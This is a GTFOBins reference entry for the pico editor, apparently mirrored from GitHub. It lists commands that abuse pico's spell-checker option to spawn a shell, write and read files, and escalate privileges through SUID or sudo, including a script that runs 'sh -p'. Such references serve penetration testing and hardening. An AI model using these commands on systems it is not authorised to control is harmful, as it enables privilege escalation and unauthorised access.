1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/pico.md
2019-03-31 12:19:11 +01:00

449 B

functions
shell file-write file-read suid sudo
code
pico -s /bin/sh /bin/sh ^T
code
pico file_to_write DATA ^O
code
pico file_to_read
code
TF=$(mktemp) echo '#!/bin/sh -p exec sh -p' > $TF chmod +x $TF ./pico -s $TF /etc/hosts ^T
code
pico -s /bin/sh /bin/sh ^T